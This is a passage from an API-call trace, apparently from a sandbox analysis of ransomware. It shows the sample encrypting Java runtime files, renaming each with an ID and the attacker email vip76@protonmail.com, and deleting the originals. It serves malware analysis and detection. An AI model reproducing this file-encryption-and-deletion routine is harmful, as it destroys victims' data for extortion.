	[0087.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.188] lstrlenW (lpString=".rar") returned 4
	[0087.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.188] lstrlenW (lpString=".bz2") returned 4
	[0087.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.188] lstrlenW (lpString=".7z") returned 3
	[0087.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.188] lstrlenW (lpString=".dbf") returned 4
	[0087.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.188] lstrlenW (lpString=".1cd") returned 4
	[0087.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.188] lstrlenW (lpString=".jpg") returned 4
	[0087.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.188] lstrlenW (lpString=".doc") returned 4
	[0087.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.188] lstrlenW (lpString=".docx") returned 5
	[0087.188] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.188] lstrlenW (lpString=".pdf") returned 4
	[0087.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.188] lstrlenW (lpString=".xls") returned 4
	[0087.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.188] lstrlenW (lpString=".xlsx") returned 5
	[0087.188] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.188] lstrlenW (lpString=".ppt") returned 4
	[0087.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.189] lstrlenW (lpString=".zip") returned 4
	[0087.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.189] lstrlenW (lpString=".rar") returned 4
	[0087.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.189] lstrlenW (lpString=".bz2") returned 4
	[0087.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.189] lstrlenW (lpString=".7z") returned 3
	[0087.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.189] lstrlenW (lpString=".dbf") returned 4
	[0087.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.189] lstrlenW (lpString=".1cd") returned 4
	[0087.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.189] lstrlenW (lpString=".jpg") returned 4
	[0087.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.189] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0087.189] lstrlenW (lpString="keytool.exe") returned 11
	[0087.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.205] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=16448) returned 1
	[0087.205] CloseHandle (hObject=0x388) returned 1
	[0087.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20
	[0087.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.222] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.222] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.225] GetLastError () returned 0x0
	[0087.225] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0087.227] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0087.228] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.228] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xea, lpOverlapped=0x0) returned 1
	[0087.228] SetEndOfFile (hFile=0x390) returned 1
	[0087.229] CloseHandle (hObject=0x390) returned 1
	[0087.229] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.229] SetEndOfFile (hFile=0x388) returned 1
	[0087.230] CloseHandle (hObject=0x388) returned 1
	[0087.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.230] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1
	[0087.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.230] lstrlenW (lpString=".doc") returned 4
	[0087.230] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.230] lstrlenW (lpString=".docx") returned 5
	[0087.230] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0087.230] lstrlenW (lpString=".pdf") returned 4
	[0087.230] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.230] lstrlenW (lpString=".xls") returned 4
	[0087.230] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.230] lstrlenW (lpString=".xlsx") returned 5
	[0087.230] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0087.230] lstrlenW (lpString=".ppt") returned 4
	[0087.230] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.230] lstrlenW (lpString=".zip") returned 4
	[0087.230] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.230] lstrlenW (lpString=".rar") returned 4
	[0087.230] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.231] lstrlenW (lpString=".bz2") returned 4
	[0087.231] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.231] lstrlenW (lpString=".7z") returned 3
	[0087.231] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.231] lstrlenW (lpString=".dbf") returned 4
	[0087.231] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.231] lstrlenW (lpString=".1cd") returned 4
	[0087.231] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.231] lstrlenW (lpString=".jpg") returned 4
	[0087.231] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.231] lstrlenW (lpString=".doc") returned 4
	[0087.231] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.231] lstrlenW (lpString=".docx") returned 5
	[0087.231] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1
	[0087.231] lstrlenW (lpString=".pdf") returned 4
	[0087.231] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.231] lstrlenW (lpString=".xls") returned 4
	[0087.231] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.231] lstrlenW (lpString=".xlsx") returned 5
	[0087.231] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1
	[0087.231] lstrlenW (lpString=".ppt") returned 4
	[0087.231] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.231] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.231] lstrlenW (lpString=".zip") returned 4
	[0087.231] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.231] lstrlenW (lpString=".rar") returned 4
	[0087.232] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.232] lstrlenW (lpString=".bz2") returned 4
	[0087.232] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.232] lstrlenW (lpString=".7z") returned 3
	[0087.232] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.232] lstrlenW (lpString=".dbf") returned 4
	[0087.232] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.232] lstrlenW (lpString=".1cd") returned 4
	[0087.232] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.232] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe") returned 50
	[0087.232] lstrlenW (lpString=".jpg") returned 4
	[0087.232] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.232] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.232] lstrlenW (lpString="lcms.dll") returned 8
	[0087.232] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.233] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=233536) returned 1
	[0087.233] CloseHandle (hObject=0x388) returned 1
	[0087.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20
	[0087.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.233] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.233] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.233] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.233] GetLastError () returned 0x0
	[0087.234] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x39040, lpOverlapped=0x0) returned 1
	[0087.373] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x39050, lpOverlapped=0x0) returned 1
	[0087.377] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.378] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0087.378] SetEndOfFile (hFile=0x390) returned 1
	[0087.378] CloseHandle (hObject=0x390) returned 1
	[0087.378] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.378] SetEndOfFile (hFile=0x388) returned 1
	[0087.380] CloseHandle (hObject=0x388) returned 1
	[0087.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.380] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1
	[0087.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.381] lstrlenW (lpString=".doc") returned 4
	[0087.381] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.381] lstrlenW (lpString=".docx") returned 5
	[0087.381] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.381] lstrlenW (lpString=".pdf") returned 4
	[0087.381] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.381] lstrlenW (lpString=".xls") returned 4
	[0087.381] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.381] lstrlenW (lpString=".xlsx") returned 5
	[0087.381] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.381] lstrlenW (lpString=".ppt") returned 4
	[0087.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.381] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.381] lstrlenW (lpString=".zip") returned 4
	[0087.381] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.381] lstrlenW (lpString=".rar") returned 4
	[0087.381] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.381] lstrlenW (lpString=".bz2") returned 4
	[0087.381] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.381] lstrlenW (lpString=".7z") returned 3
	[0087.382] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.382] lstrlenW (lpString=".dbf") returned 4
	[0087.382] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.382] lstrlenW (lpString=".1cd") returned 4
	[0087.382] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.382] lstrlenW (lpString=".jpg") returned 4
	[0087.382] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.382] lstrlenW (lpString=".doc") returned 4
	[0087.382] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.382] lstrlenW (lpString=".docx") returned 5
	[0087.382] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.382] lstrlenW (lpString=".pdf") returned 4
	[0087.382] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.382] lstrlenW (lpString=".xls") returned 4
	[0087.382] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.382] lstrlenW (lpString=".xlsx") returned 5
	[0087.382] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.382] lstrlenW (lpString=".ppt") returned 4
	[0087.382] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.382] lstrlenW (lpString=".zip") returned 4
	[0087.382] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.382] lstrlenW (lpString=".rar") returned 4
	[0087.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.382] lstrlenW (lpString=".bz2") returned 4
	[0087.382] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.382] lstrlenW (lpString=".7z") returned 3
	[0087.383] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.383] lstrlenW (lpString=".dbf") returned 4
	[0087.383] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.383] lstrlenW (lpString=".1cd") returned 4
	[0087.383] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0087.383] lstrlenW (lpString=".jpg") returned 4
	[0087.383] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.383] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.383] lstrlenW (lpString="management.dll") returned 14
	[0087.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.384] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=36928) returned 1
	[0087.384] CloseHandle (hObject=0x388) returned 1
	[0087.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20
	[0087.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.384] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.384] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.384] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.384] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.385] GetLastError () returned 0x0
	[0087.385] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x9040, lpOverlapped=0x0) returned 1
	[0087.664] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x9050, lpOverlapped=0x0) returned 1
	[0087.665] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.665] WriteFile (in: hFile=0x390, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0087.665] SetEndOfFile (hFile=0x390) returned 1
	[0087.666] CloseHandle (hObject=0x390) returned 1
	[0087.666] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.666] SetEndOfFile (hFile=0x388) returned 1
	[0087.667] CloseHandle (hObject=0x388) returned 1
	[0087.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.667] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1
	[0087.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.667] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.667] lstrlenW (lpString=".doc") returned 4
	[0087.667] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.667] lstrlenW (lpString=".docx") returned 5
	[0087.667] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.667] lstrlenW (lpString=".pdf") returned 4
	[0087.667] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.667] lstrlenW (lpString=".xls") returned 4
	[0087.667] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.667] lstrlenW (lpString=".xlsx") returned 5
	[0087.668] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.668] lstrlenW (lpString=".ppt") returned 4
	[0087.668] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.668] lstrlenW (lpString=".zip") returned 4
	[0087.668] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.668] lstrlenW (lpString=".rar") returned 4
	[0087.668] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.668] lstrlenW (lpString=".bz2") returned 4
	[0087.668] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.668] lstrlenW (lpString=".7z") returned 3
	[0087.668] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.668] lstrlenW (lpString=".dbf") returned 4
	[0087.668] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.668] lstrlenW (lpString=".1cd") returned 4
	[0087.668] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.668] lstrlenW (lpString=".jpg") returned 4
	[0087.668] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.668] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53
	[0087.668] lstrlenW (lpString=".doc") returned 4
	[0087.668] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.668] lstrlenW (lpString=".docx") returned 5
	[0087.668] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.668] lstrlenW (lpString=".pdf") returned 4
	[0087.668] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
